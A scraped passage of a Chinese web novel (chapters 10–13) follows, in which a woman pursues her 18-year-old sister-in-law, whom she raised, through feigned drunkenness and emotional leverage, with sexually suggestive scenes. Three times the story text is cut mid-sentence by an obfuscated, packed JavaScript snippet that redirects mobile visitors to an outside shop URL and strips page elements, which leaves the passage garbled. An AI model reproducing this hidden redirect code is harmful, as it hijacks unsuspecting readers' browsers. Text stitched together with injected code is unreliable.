像小奶猫舔牛奶喝。 “没事。” 温予乔靠在她肩上,安静了一会儿,然后她小声说:“我是不是很坏?” “没有。” “我有。” “我在你身上留下痕迹,想让你记住我……这很自私,很坏。” “可是我控制不住。” “我一想到你以后可能会跟别人在一起,会亲别人,会对别人好……我就难受。这里难受。” 她抓着她的手,按在自己心口。 陆知秋的手掌下,是温予乔怦然的心跳。 陆知秋说,“嫂嫂,我不会跟别人在一起的。” 同时,她在想着,如何处理两个人的关系。 两个人的关系,好像回不去了。 10. 第 10 章 温予乔替陆知秋的唇上着药膏,缓解一下唇的疼痛,她一边拿着棉签涂着陆知秋的唇,一边看着少女发肿的唇,润泽的颜色,肿胀的感觉。 中途陆知秋偶尔皱一下眉头,表示有些疼痛,温予乔见状放轻一点动作,但内心却有一点开心, 疼的话,会深刻一些记忆吧。 等擦完嘴唇,陆知秋说自己要回去自己的房间了。 温予乔不想让她回去。 那用一些什么手段呢? —— 陆知秋走到门口,手刚搭上门把,正打算要回去,就听见身后传来啜泣声,细细的,听起来很可怜。 ……陆知秋本来其实并没有想谈恋爱的想法。 哄温予乔的话语也是真的,并没有找别的女朋友的想法。 但如果温予乔是女朋友的话,可能是另当别论吧。 温予乔身上有一些痣,痣并不多,但却长得每个地方都很漂亮。 肩头也有。 如果温予乔不是自己的亲人,不是自己的嫂嫂,而是和自己没有关系,偶然相识的女孩子,那她或许会谈恋爱吧,会喜欢她。 如果温予乔是和自己不相关的人,然后还是女朋友的话。 陆知秋觉得自己可能很喜欢亲吻她身上的痣的部位,她想以后自己的那位“温予乔”可能会很累。 ……所以姐姐为什么会对温予乔不喜欢呢。 ……要是她是姐姐的话,她一定会对温予乔很好,不会像姐姐一样,妻子还在的时候也和单身一样,而是会亲她,不知道她受不受得了。 ……对不起姐姐,嫂嫂她真的很好,也很香。 要是温予乔不是自己的嫂嫂就好了。 一旦生出这种想法,就很糟糕。 “怎么了?”陆知秋问,声音放软。 “我……”温予乔抬起脸,脸上又是眼泪又是花掉的口红,看起来狼狈可怜,惹人怜惜,“我有点难受……喝多了,头晕……” 她吸了吸鼻子,眼眶红红的,睫毛湿成一缕一 缕,让人不会怀疑她说的话。 陆知秋正义道:“那嫂嫂躺下睡一会吧,睡一会会好一些,明天起床酒就醒了。” ……崽崽心眼还挺多,这到底是好事还是坏事? “我现在……”温予乔含着哭腔小声说,声音黏糊糊的,让人的大脑思考不过来,“站不起来……你抱我到床上好不好?” 陆知秋看着她。 温予乔坐在床沿,离枕头也就半米的距离,稍微往后 一倒就能躺下,然后卷上被子,就可以睡着了。 “你不是就在床边吗?”她说,“直接躺下就行。” “我就要你抱。”温予乔撇撇嘴,眼泪又开始往下掉,“你小时候……我抱你那么多……你发烧我整夜抱着你……现在让你抱我一下都不行吗?” 陆知秋一听到这话,就跑过去要抱温予乔。 因为温予乔说的确实是这样的,陆知秋小学三年级重感冒一次,高烧三十九度,是嫂子一整夜没睡,抱着她,用湿毛巾给她擦身体,喂她喝水。 陆知秋那时候已经不小了,但温予乔还抱得动,稳稳的抱着那会不算小的她,让她靠在自己的怀里,给她唱歌,哄她睡觉。 “小秋小秋睡觉觉……” “骨头梦里啃的香……” “我家宝宝睡觉觉……” “一觉睡到大天亮……” 后来陆知秋知道了这首歌,但是第一句的歌词用的是小狗,温予乔把她的名字和小狗互换在一起, ……自己又不是小狗。 但是还是很谢谢温予乔,照顾年幼的自己,照顾生病的自己,照顾不懂事的自己。 她,很爱她。 她想永远和她在一起。 现在她让她抱她,她怎么会不去抱呢。 “就一下……”温予乔伸出手,“抱我一下,我就睡。” 她弯下腰,一手从她膝弯下穿过,一手托住她的 背,准备用公主抱的姿势把她抱起来。 但温予乔只配合了一点点,有点不听话,像树袋熊。 ……怎么会呢,一定是自己想多了。 “嫂子……”她想让她下来。 “就这样抱。”温予乔把脸埋在她颈窝,“因为你小时候……我就这样抱你……记得吗?” 当然记得。 大概是她刚来这里的第二年,九岁吧,那时候自己害怕而认生,有时会半夜惊醒,梦见姐姐。梦见姐姐站在很远的地方看着她,不说话,然后就转身走了,越走越远,她怎么喊都喊姐姐都不回来。 有一次她哭醒了,抱着枕头坐在床上,不敢出声。但睡在隔壁的温予乔还是听见了, 那时候陆知秋还没学会隐藏情绪,悲伤来得直接又汹涌,就对着温予乔哭出了声。 温予乔也不多问,像现在陆知秋对温予乔伸出手一样,伸出手把陆知秋抱住,把陆知秋连人带枕头一起抱进怀里,她的怀抱很软,有刚洗过澡的沐浴露香味,暖暖的,托着陆知秋的小屁股,把她整个人包裹住。 “没事了。”她轻轻拍着她的背,就像她现在拍着她一样,“姐姐会回来的。我们小秋这么好,姐姐舍不得的。” 其实,谁都知道陆知清不会再回来的。 但陆知秋那会偏偏问温予乔, “真的吗?” “真的。”那会的温予乔低头,用脸颊蹭了蹭小陆知秋茸茸的头发,“嫂嫂什么时候骗过你?” 陆知秋那时候信了,因为温予乔的怀抱太温暖,她的声音太温柔,让陆知秋觉得姐姐真的会回来。 明天,或者后天,就会推开门走进来,像以前一样笑着叫她“小秋”。 后来她慢慢长大,知道那些话只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她知道自己应该走,回自己房间,把房间锁住,然后入睡,再然后明天早上当做什么都没发生, 还像以前一样…… 只要回到姑嫂关系就可以。 这层关系,绝对不可以掺杂着别的东西,特别是情与爱。 但陆知秋挪不动脚。 地上肯定有胶水还是浆糊。 不然陆知秋这样自制的女孩子不可能控制不住自己的脚,走不动。 走啊,脚。 脚:人,是你自己不想动的。 “好不好……”温予乔抓着她的衣角,“就今晚……陪陪我……我保证以后不这样了……” ……还有以后的吗? 陆知秋不想再做这种伤害自己,也伤害姐姐的事情了,虽然姐姐是辜负嫂嫂的负心女,但是,要是让温予乔得到幸福,她怎么着也轮不到,也不应该自己去做。 11. 第 11 章 “……什么?” 陆知秋问,以为自己听错了。 温予乔眼睛湿漉漉的看着她“我说,和我睡吧。” “就今晚……好不好?” “在这里睡……” 陆知秋:“这样不太好吧?” “不要说这种让人误会的话……” 温予乔听了这话,眼睛弯弯笑了起来, “误会?什么误会呀?” “我说让你在这儿睡,就是字面意思,你想到哪儿去了?” “你以为我说的睡,是那个‘睡’的意思吗?” 说着,她伸出纤长的手指,指尖点了点陆知秋的鼻尖, “那你想歪咯,” “小,色,鬼。” 陆知秋:“我没有。” 温予乔:“你就有。” “耳朵都红了,还说没有。” 陆知秋听了之后,知道自己想的不对了,耳朵一红,也不说别的话了。 陆知秋接着问:“真的就是……睡觉?” 她被温予乔刚才酒后的那些行为弄得有一些害怕了。 接吻还好,再往下她真的有点怕。 “不然呢?”温予乔笑着,“你想干什么?” “我什么都没想。” 陆知秋往床上一躺,身子一转,不去看她。 “真没想?”温予乔不依不饶,又凑近陆知秋一点,几乎贴着她耳朵说话,声音烫烫的,“那你怎么知道‘睡’还有别的意思?嗯?” “我……” “谁教你的?”温予乔调戏她问,“我记得我没有教过你这些,是学校里的女同学?还是……自己上网看的?” “嫂嫂。” “别说了。” 小狗的耳朵有一些烫了,能煎鸡蛋。 “怎么,害羞了?”温予乔看着她这副看起来很镇定的样子,实则红了耳朵,觉得特别好玩。 平时总是冷冷淡淡的,现在被她几句话逗得耳根通红,还要强装冷静。 陆知秋继续说:“没有。” “那你告诉我,”温予乔接着问她,“你知道那些事情吗?女生和女生……的那种事情。” 耳朵红透了。 陆知秋从床上爬起来,想走:“我回我自己房间了。” “哎——”温予乔赶紧拉住她的手腕,“别走啊,我开玩笑的。” 陆知秋不动,也没甩开她的手。 “好啦,不逗你了。”温予乔笑着拉她重新躺下,给她盖上被子,“我就是觉得……你刚才那样子挺可爱的。” “不可爱。”陆知秋闷声说。 “可爱。”温予乔说,“长得挺好看一小女孩,一说到这些就脸红,真可爱。” 陆知秋没有在回答,又往床上一躺,裹上被子把自己弄进去。 酒精会让人这样失去理智吗? 陆知秋回忆了自己还住宿时候的舍友,好像确实这样的,跨年那天都喝的酩酊大醉,还给前女友发“过了今年我就不喜欢你了。”,然后前女友问她“真的吗?” 舍友说当时思考不清楚了,所以酒精确实会让人的理智不太清醒吧。 陆知秋打算就这样装傻充愣然后睡过去,只要明天酒醒了,温予乔就会恢复正常。 睡觉。 陆知秋盖上被子,开始数羊。 一只羊,两只羊,三只羊…… 四十五只羊,四十六只羊…… 五十七只羊,五十八只…… 然后,她觉得怀里一沉。 有什么特别软的东西靠了过来,钻进了她的怀里,特别温暖,还特别香甜。 陆知秋迷迷糊糊地想,哦,数羊数出幻觉了,都抱到羊羔了。 羊羔还挺暖和的,软乎乎的,还有软软的肉…… 然后她睁开眼睛。 不是羊羔。 是嫂嫂。 她钻进到了她的怀里,蜷缩着贴在她,脸埋在她胸口,手臂环着她的腰,一条腿还搭在腿上,夹得很紧。 “……嫂嫂?” 陆知秋问。 “有点冷,让你抱抱我。”温予乔小声说,然后往她怀里自然的钻了钻,像小猫靠近毛球一样靠近她。 “不要了……” 陆知秋接着说。 “就抱一会儿。”温予乔在她怀里小声嗫喏,声音软软的,像棉花糖。 “像我对你小时候那样,你小时候做噩梦,不也总让我抱着睡吗?” “而且你是小姑子,我是你嫂嫂,你抱着我怎么了?都是女孩子。” 话是这样说,但陆知秋总觉得不太合适,小时候那会她才十岁了,现在她十八了,而现在嫂嫂喝醉了,不太清醒,还穿成现在这样。 所以其实二者不一样。 然后又陆知秋想起来,自己小时候做噩梦,第一选择就是会抱着枕头跑去嫂嫂的房间,嫂嫂会让她上床,搂着她睡。 陆知秋绝对是世界上最没有办法的女孩。 只要温予乔一提小时候她照顾她的事情,她绝对没有办法拒绝她。 “……好吧。” 温予乔被她抱着睡觉。 但是,小猫被纵容就会更加任性的撒娇。 温予乔软软的声音传来,撒着娇,“小秋,” “我大腿有点难受,你能帮我看看吗?” 陆知秋:“……腿怎么了?” “不知道,就是难受。”温予乔说着,把她的手又往心儿靠近, “你摸摸看,是不是肿了?” 温热,光滑,肌肤细腻得无法言喻。 温予乔的力气不大,但陆知秋就是挣不开。 “这里吗?”陆知秋问,手指见外的按了按外侧。 “再往上一点……”温予乔轻声细语的引导着。 陆知秋的手往上挪了挪。 “嫂子?”陆知秋的声音从背后传来,关切的说, “你……没事吧?” 温予乔装作无事发生,用着慌乱和羞赧的语气回应她: “我……我好像来例假了……” “可能……可能是最近压力大,提前了……” 其实温予乔在骗她。 她根本没有来例假,来的是别的东西。 来的是汹涌澎湃的情~潮。 再说了,要是真的因为陆知秋来了例假,那也是和陆知秋激动而刺~激的那番亲昵之后,促进了雌激素分泌了,而弄成了例假提前了吧…… 好像这种亲昵之后还挺容易来例假的。 好像有研究表明是这样的,在一起生活越久的女同情侣,会因为亲昵行为和达到巅~峰而例假时间越来越接近,会同时来例假之类的,甚至说同时提前。 还有亲昵次数太多,一个月来两次,频繁例假。 据说是亲昵等激动的行为,会促进提前排~卵? 温予乔倒是很向往这样。 她,喜欢和妻子一起来例假,然后相拥着取暖的感觉。 ……要是陆知秋可以趁现在掰开自己的双腿,冷着脸看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177098|196905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看她的妹妹到底有没有来例假就好了。 不行,温予乔,不可以心急,心急吃不了热小秋。 “那个……小秋,你能不能……帮我拿条干净的内裤?” 温予乔的脑袋放到被子里卷着,声音闷着:“就在衣柜左边抽屉……随便拿一条就行……” 陆知秋没有说话,直接下床,走到衣柜前,拉开抽屉,找了找,然后抽屉合上。 一条黑色的蕾丝内裤被递到被子边缘。 温予乔抬头,耳朵又红了,心里想的小秋怎么拿的这条,这是她私底下自己穿着照镜子看的, 她眨眨眼,然后犹豫的伸手接过来,拿到内裤边,直接飞快的把内裤拽进被子里,小声说:“谢谢……你转过去一下。” 陆知秋“嗯”了一声,坐在床边,背对着她。 温予乔这才敢从被子里探出头,确认她真的没在看,才迅速坐起来。 衣服下摆全濡了,黏在大腿上。 她咬着牙,把透的内裤脱下来,团成一团塞到枕头底下。 不能让她看见,这流量根本不像例假,而且,哪有透明的例假啊。 流溪淌淌ooo的那种。 然后她拿起那条干净内裤,快速穿上,蕾丝的布料贴在皮肤上,有些镂空,穿上去有些凉凉的,加上之前漏出的溪,搭配起来格外的凉。 ……但还不够,藏不住的。 “有没有卫生巾?应该也在抽屉里。” 陆知秋听言,从抽屉里拿出夜用的,递给温予乔。 温予乔接过来卫生巾,其实她没有来例假,所以她其实根本不需要。 但如果不贴,等会儿万一又漏出来一股清流了…… 她摇摇头,撕开包装,背对着陆知秋的方向,贴好。 卫生巾的表面贴着皮肤,有些不便利,但至少能吸收可能继续分泌的液体,不会再把裤子弄透。 做完这一切,她才重新躺下,拉好被子盖到下 巴。 “好、好了。”她小声说。 陆知秋转回身,走回床边,然后俩人钻到一个被窝里。 温予乔刚才光顾着逗小孩玩了,这才发现,和十年前的同样的光景,同样相拥抱而眠的夜晚,同样入眠的二人,那只小小秋已经长大了,现在陆知秋的显得这样Duang大一只。 其实体型也只是平均少女的体型,比温予乔略高一些,但上一次两个人一起睡觉还是陆知秋十岁出头的事情了,同样的场景对比之下, 陆知秋是真的长大了啊。 陆知秋看着床上缩成一团的温予乔,握住她的手问:“嫂嫂疼吗?” “什么?” “肚子。”陆知秋说,“好多女孩子……来例假会疼。” 温予乔愣了愣,然后马上反应过来,连忙点头: “嗯……有点胀痛……” 她说着,把陆知秋空出来的手很自然的顺应到自己的小腹上,让陆知秋上下摁着自己的小腹。 小腹有一些软肉,下边就是蕾丝,肉肉摸起来很舒服的,一定会让青春期抽条清瘦,没有摸过多少软肉的少女摸的上瘾,爱不释手。 温予乔有信心。 温予乔眉头微微一皱,做出不舒服的样子:“就是这里……一阵一阵的……” 陆知秋:“我拿暖宝宝……” “不用……”温予乔赶紧摇头,然后抬眼看她,眼神可怜兮兮的,哀求说,“就是……你能不能……帮我揉揉?” 她拉起她的手,按在自己小腹上。 12. 第 12 章 温予乔想着,现在趁着醉酒亲昵,亲吻, 那醉酒醒来以后,两个人的关系应当怎样处理? 装作不知道,还是装作知道。 ……两个人还有机会亲吻吗? 小秋今天纵容自己,只是觉得自己喝醉了,自己照顾她很多年,也无法对自己拒绝和甩脸色。 ……明天之后,两个人的关系是不是又要回去了。 回去就回去吧,至少两个人现在这样将错就错了。 ……关系的转变果然还是有些突然了吗? 陆知秋替温予乔揉小肚子,缓解经期的不适。 温予乔: “你怎么揉的这样熟练……” “你……你对别人也这样揉吗?” 陆知秋:“……除了嫂嫂只有我自己。” “那……”温予乔咬住下唇,“你觉得……我这样……是不是很麻烦?” 陆知秋:“不麻烦,” 温予乔问:“真的?” 陆知秋点点头:“嗯。” 温予乔又有些犹豫:“可是我总觉得……我在麻烦你。这么晚了,还要你照顾我……” “来例假或多或少都会疼的,我经常疼所以我很理解嫂嫂。” “你照顾我十年。十年里,我生病你照顾我,我难过你安慰我,我闯祸你帮我收拾烂摊子。” “现在我照顾你一次,不应该吗?” 温予乔听着小孩的话,看着她,慢慢红了眼眶。 “傻孩子……“她抬手摸了摸她的脸,“那些都是我愿意做的。” 陆知秋说,“那我对嫂嫂的好,也是我愿意做的。” 温予乔听着她的话,好不容易停下的泪又流了出来。 她拍了拍陆知秋的脸,“好小秋,不用捏了,睡觉吧。” 然后往陆知秋怀里钻了钻,以前温予乔抱她,现在她抱温予乔。 ……小秋这孩子太好了,好的让温予乔后悔做出了伤害她的事情。 ……让事情变成现在这样。 温予乔有点想听反方向的钟了。 听反方向的钟表,就可以想要回到今天早上,阻止后来的事情发生,改变轨迹吗?或许温予乔会让自己少喝点酒,不至于醉倒在陆知秋的怀里,亲她,还让她摸她,然后事情走到这种地步。 想着想着,就睡着了,逐渐的睡熟起来。 —— 陆知秋还醒着。 心烦意乱之下,她退出了聊天界面,手指无意识地下滑,点开了朋友圈。 第一条就是温予乔发的。 时间是几个小时前,配图是阳台上的那盆多肉,新长出了几个小芽,文字很简单:“春天来了。” 下面有几个共同好友的点赞和评论,张阿姨评论:“予乔养得真好!” 秦雨薇:“鲜花再美,不如你美,宝贝。” 温予乔回复张阿姨“谢谢”,回复秦雨薇“想女人也不可以找人妻。” 陆知秋的手指停在那条朋友圈上,笑了笑,然后点了进去。 温予乔的朋友圈没有设置可见时间限制,可以一直往下翻。 她往下滑。 三天前,她发了一张超市购物的照片,购物车里堆满了食材,最上面是一盒草莓。文字:“小秋说想吃草莓蛋糕,先买点草莓试试。” 一周前,她拍了几本书,摊开在茶几上,旁边放着一杯茶。文字:“周末时间,小秋睡得好香,偷偷看她看的什么书籍。” 再往下翻。 半个月前,是她和她的合影,在客厅里,陆知秋坐在沙发上看书,她站在沙发背后,弯腰凑过来,对着镜头比了个耶,照片里的陆知秋很宠溺配着温予乔一起笑着,很温暖。 文字:“我们家大学生又在用功了。” 下面有共同好友评论:“小秋都长这么大了!时间真快啊!” 温予乔回复:“是啊,一晃都十年了。” 十年。 陆知秋眼睛有点想流泪,忍住,然后继续往下滑。 越往前翻,照片里的她就越小。 两个月前,是她寒假在家,她拍的陆知秋睡懒觉的样子,陆知秋头发乱糟糟,脸埋在枕头里,只露出半个侧脸, 温予乔文字:“放假了就是不一样,崽崽一觉睡到中午。” 三个月前,是嫂嫂的生日,照片里温予乔捧着个大蛋糕,陆知秋在旁边给她点蜡烛,温予乔穿着件暖色调色毛衣,侧脸在烛光下显得很温暖, 配文:“又大一岁,但有小秋陪着,很好。” 再往前,是一年的秋天,她拍了几张落叶,还有她走在前面的背影,陆知秋背着斜挎包,身姿高挑, 配文:“送小秋去学校,天气真好。” 再往前翻, 是陆知秋上大学的日子,陆知秋开学,她送她到校门口,拍了她的背影, 配文:“大学生了,要加油啊。” 再往前,是夏天,她们在海边,陆知秋刚从海里上来,头发湿漉漉的,温予乔拍了她的侧影,没拍到脸, 配文文字:“崽崽夏天就要去海边,和小时候一样,喜欢玩水。” 下面有共同好友评论:“小秋长得越来越高了!” 温予乔回复:“是呀,长大了。” 陆知秋盯着那张照片,手指停在屏幕上。照片里的她的个子高挑,肌肉匀称,确实不再是小孩时候单薄的模样了。 她继续往下翻。 是她高考结束那天,她拍了陆知秋查分数时的样子,陆知秋盯着电脑屏幕,表情紧张。 配文文字:“十二年寒窗,今天见分晓。” 再往前,是高三寒假,她拍了她趴在书桌前睡着的照片,脸压在习题册上,胳膊下还压着笔, 文字:“辛苦了,我的小朋友,嫂嫂的宝贝,嫂嫂的崽崽。” 两年…… 三年…… 陆知秋的手指滑动得越来越慢。 她看到四年前的照片,那时候她刚上高一,穿着校服,背着书包,站在家门口,对着镜头笑,露出一颗虎牙,青涩,稚嫩,那会还完全是小孩模样。 温予乔站在她旁边,手搭在她肩上,笑得温柔, 文字:“我们小秋上高中啦!” 五年前,陆知秋初三,个子快和温予乔差不多了,脸上还有婴儿肥,肉肉的,温予乔拍了陆知秋打网球的照片, 文字:“小秋今天来打球!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177099|196905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六年前,她初二,暑假去游乐园,她坐在旋转木马上,她站在下面给陆知秋拍照,陆知秋对着镜头比剪刀手,笑得开心 温予乔配文字:“永远长不大就好了。” 七年前,陆知秋初一,第一次住校,她送陆知秋到宿舍,帮她铺床。 陆知秋站在旁边,有点不知所措,温予乔拍了她,拍下合照。 文字:“要学会自己照顾自己了。” 八年前…… 九年前…… 陆知秋的手指停在了一张照片上。 那是她小学六年级毕业典礼,她穿着白衬衫黑裙子,戴着红领巾,手里拿着毕业证书,站在学校门口,脸上还有未褪的婴儿肥,肉肉更多一点,眼睛很大,眼神清澈。 温予乔蹲在她旁边,搂着她的肩膀,对着镜头笑,她那时候还很年轻,看起来就像二十出头,皮肤紧致,笑容明媚,穿着一条米白色的连衣裙,长发披肩。 文字:“我们家小学生毕业啦!要上初中了哦!” 陆知秋盯着那张照片,看了很久很久。 照片里的她那么小,那么稚嫩,而温予乔那么年轻,那么美。 时间在她身上好像走得特别慢。 十年了,她看起来变化不大,依然漂亮,依然温柔,依然是她记忆里那个“嫂子”的样子。 而她却从一个八岁的小豆丁,长成了现在一米七的大学生。 时间在陆知秋身上,好像走得特别快,而对温予乔特别温柔。 陆知秋很感谢时光对温予乔的款待。 而陆知秋自己,快到她都来不及反应,就已经长大了。 快到她都来不及想清楚,自己对她的感情就已经像现在如此深厚了。 陆知秋的手指继续往下滑。 最后一张朋友圈,是十年前。 那是她刚来这里的第一个月。温予乔拍了她坐在客厅沙发上看电视的样子,温予乔在旁边抱着她,亲着她的发顶,对着镜头,陆知秋小小的一只,蜷在沙发角落里,抱着膝盖,眼神怯生生的,但是被陆知秋吻着,含着一点笑。 文字:“以后这里就是你家了,别怕,嫂子在。” 下面没有评论,那时候她微信好友可能还不多。 或者说那时候愿意给她朋友圈点赞评论的人,不多。 没有那些趋炎附势,远的不能再远的亲戚。 毕竟一个刚“丧妻”的女人,带着亡妻年幼的妹妹,在很多人眼里,是个麻烦,甚至是个笑话。 陆知秋盯着那张照片,眼睛有点酸。 她想起那时候的自己,八岁,刚失去姐姐,被送到这个陌生的家,面对这个陌生的“嫂子”,她害怕,不安,整夜整夜睡不着。 是温予乔,每晚坐在她床边,给她讲故事,哄她睡觉。 是她,在她生病时整夜守着,喂她吃药,给她擦汗。 是她,给她做饭,送她上学,开家长会,陪她过每一个生日。 十年。 3653天。 三千六百五十三个日夜 她把她从一个小豆丁,养成了现在的大学生。 而她。 陆知秋不继续想了。 13. 第 13 章 早上七点半,阳光和煦,落在陆知秋的眼皮,陆知秋一眨一眨醒来。 身边温予乔还在睡觉,暖和的温度和香甜的香气,是平常一个人睡习惯了的陆知秋不习惯的。 陆知秋想翻身起来,却发现动不了。 手臂麻了。 她睡在她怀里,脸贴着她,一只手搭在她腰上,腿蜷着,膝盖蜷起来,衣物滑落,白皙的肩膀。长发散在枕头上,脸蛋睡得有些发红,唇边口红晕的一塌糊涂,从嘴唇到嘴角,再到下巴,全是深豆沙色的痕迹,有些干了,有些还黏着,看起来特别漂亮的女孩子。 ……该说不说,被窝还挺暖和的。 陆知秋这样想着,温予乔醒了,两眼对视。 陆知秋和温予乔的生物钟还挺像的,包括起床和睡觉时间,都几乎像是复制来的,毕竟温予乔把她从小带到大,陆知秋的生活习惯都是温予乔按照自己觉得舒服的生活习惯培养的。 早睡早起,一天三顿饭正常吃,晚上再遛个小弯儿,强身健体。 温予乔也喜欢家里统一熄灯,陆知秋小时候和她一起睡觉的,作息和温予乔很像, 再长大,陆知秋到自己房间一个人睡觉觉,温予乔偶尔还会巡查,看看宝宝有没有好好睡觉,有没有再被窝偷玩手机。 幸亏陆知秋一般睡得都很早,嫂子什么时候睡着,她就什么时候睡的,以至于温予乔没有发现过她偷玩手机,不然那段温予乔巡查的日子,是陆知秋最担惊受怕的日子。 所以几乎是一起睡的,又几乎是一起起的。 陆知秋想起,之前还在大学住宿的时候,温予乔不在身边,没有人来管/教她,就经常吃不上早饭,有时候晚饭也吃不太好,一直都吃的早午饭和下午茶,没有午饭和晚饭那一说。 后来上了一学期,陆知秋觉得家离学校挺近的,就办理了走读手续,在家里住着。 而且她觉得,自己在学校,温予乔会想她,会放心不下她。 温予乔很快起来,只不过她里边的衣服昨天被自己扔掉了,以至于一起来就有些走光。 她耳尖红了红,她站起来,裹着随便拿的夏凉被,快步走到衣柜前,拿了点衣服,然后背对着陆知秋,开始换衣服。 陆知秋背过去,可是她可以听到声音,先是睡裙落地的声音,布料划过肌肤,然后堆叠在地板上。 然后是穿上衣物摩擦的窸窣声,她找出新内衣,穿内衣,系内衣扣。 手臂绕到背后,好像一开始没有找到,过了一会儿,似乎是手指摸索着找到内衣的搭扣和扣眼,然后轻轻一按,“咔”的一声,扣上了。 包裹住她的柔软。 穿好衣服,温予乔说可以扭头了,陆知秋再扭头。 两个人洗完漱,温予乔赶紧下去了,去做早饭,陆知秋思考了一会儿,在卫生间多待了会儿,把可以机洗的衣服扔进洗衣机洗一下。 做完这些事情之后,陆知秋走下楼梯,看到温予乔在做早饭。 她换了件米白色的真丝睡袍,腰带松松系在腰间,勾勒出纤细的腰身,睡袍下摆只到大腿中部,露出白皙而修长的腿。 今天她的头发用一只米黄色的鲨鱼夹随意夹着,夹了温婉的低马尾,从夹子里随意散出了一些碎发,显得她更加温婉和漂亮,松散地垂在颈边,在透过窗户照耀的清晨的阳光下有些发粽,像焦糖一样的颜色,特别让人垂涎。 她背对着陆知秋,往咖啡机里倒豆子,调整咖啡机。 “我来了。”陆知秋开口, 温予乔转过身,洗漱之后,没有上淡妆,可她的脸色看起来还是很好,比之前还要好一些,可能昨天是她很少的睡得比较好的夜晚,没有靠安眠药,单纯是自己入睡的。 嘴唇仅仅涂了层薄薄的裸色唇膏,遮住了昨晚的痕迹,但看起来还是有一些发肿。 “来吃饭吧。”温予乔说,她的声音在陆知秋听起来很正常,比平时更温柔些,好像昨天一切都没有发生一样,这让陆知秋心里更复杂了,“我煮了咖啡,你要吗?” “不用,我喝牛奶。” “好。”温予乔转回去,从冰箱拿出牛奶,倒进杯子,放进微波炉, 微波炉嗡嗡响,厨房里陷入尴尬的沉默。 过了一会,两个人没有互相说话,“叮”的一声,牛奶热好了。 陆知秋拉开餐椅坐下,等着,温予乔从微波炉里拿出温予乔拿出来,放在陆知秋面前,又递给她糖罐:“要加糖吗?” “要,谢谢嫂嫂。” 温予乔从橱柜里拿出糖罐,里边是白砂糖,在玻璃罐里晶莹剔透的。 陆知秋接过糖罐,往牛奶里加糖,一勺又一勺。 平常一直清冷着漂亮脸蛋的女孩子,现在往热牛奶里加了好几勺糖,清冷的外貌,不喜欢喝咖啡,喜欢喝很甜的牛奶,还要热的甜牛奶,这种反差让温予乔越来越觉得自己养的小孩子真的是太萌了。 现在小孩子好像经常会说,冷脸萌,冷脸烧的,小秋这种就是冷脸萌吧。 总之就是世界第一可爱。 其实,昨夜的事情,对温予乔来说,有意外,也有蓄谋已久。 她的行为有试探的成分,至少试探陆知秋对她的身体接触,抵不抵抗。 事实证明,是不抵抗,还有些享受的。 温予乔看到陆知秋不拒绝自己的试探,其实是有一些暗爽在的。 至少不像她姐姐陆知清那样恶心自己,连自己的触碰都反感。 崽崽乖乖。 真不愧是温予乔自己一手喂大的,好乖,好听话。 温予乔看着她,心里有点美,给自己倒了杯咖啡,在陆知秋对面坐下,拿起杯子喝了一口又一口,抬眼一直看着陆知秋看了好几下,然后不说话, 咖啡有点苦涩,和昨天一样的感觉。 “昨晚……”她声音很轻的开口,“我喝多了。” 陆知秋:“嗯,我知道。” 温予乔谨慎说,“那我有没有……” “说什么不该说的?或者……做什么不该做的?” 温予乔心里当然知道了,肯定做了一些不该做的事情,但是她的酒算是后半段醒的,前半段她记不太清楚了,她的记忆只记得和陆知秋接吻以后的事情。 陆知秋看着温予乔犹豫的样子,晨光从厨房窗户照进来,照的睫毛也染上了浅色,她的睫毛很长,像鸦羽一样浓密,在逐渐强烈的阳光下有一种透明的质感,照的瞳眸的瞳色也染上了浅浅的琥珀棕,很貌美的一只小猫。 她的鼻梁挺直,可怜兮兮的试探看着陆知秋,看起来像是想要装作不在意的样子,但手上的动作出卖了她,感觉咖啡杯快要承受不住咖啡了,被她一直紧张的捏着。 陆知秋想了想,还是想着不要说那些让人脸红心跳的事情了,她的视角是温予乔一直都在醉着,一切行动都不是主观意志想要去做的,她都是被动的做出那些事情的, “说了一些姐姐的事情。” 温予乔的表情静止了。 陆知清? 在小秋面前, 她说了陆知清那大混蛋的事情了? 不会吧,她不想说的啊,她一直都是去尽力维持一下陆知清在她亲妹妹前的形象的,因为说出来,怕陆知秋对姐姐的幻想像泡泡一样消失了。 陆知清对她不好,但对陆知秋却是独一份的亲昵,温予乔还是想在陆知秋面前维持一种姐友妹恭的假象的。 “还有呢?”她追问,。 陆知秋放下牛奶杯,抬起手,用指尖碰了碰自己的下唇,那里有个明显的伤口,结了层薄薄的血痂,温予乔本来以为陆知秋会说自己咬了她的嘴唇的事情, 但陆知秋摸了摸嘴唇,很意外的说, “别的没有了。”陆知秋说。 温予乔坏心眼的问:“那你嘴角……” 陆知秋心虚:“……零食吃多了,上火了。” 然后嘴角僵硬扯了扯,昨天被咬的还有点痛。 温予乔看着陆知秋发红的嘴角,自然知道陆知秋故意不说自己咬了她嘴唇上的伤口的事情,怕这些会让身为嫂嫂的自己难办。 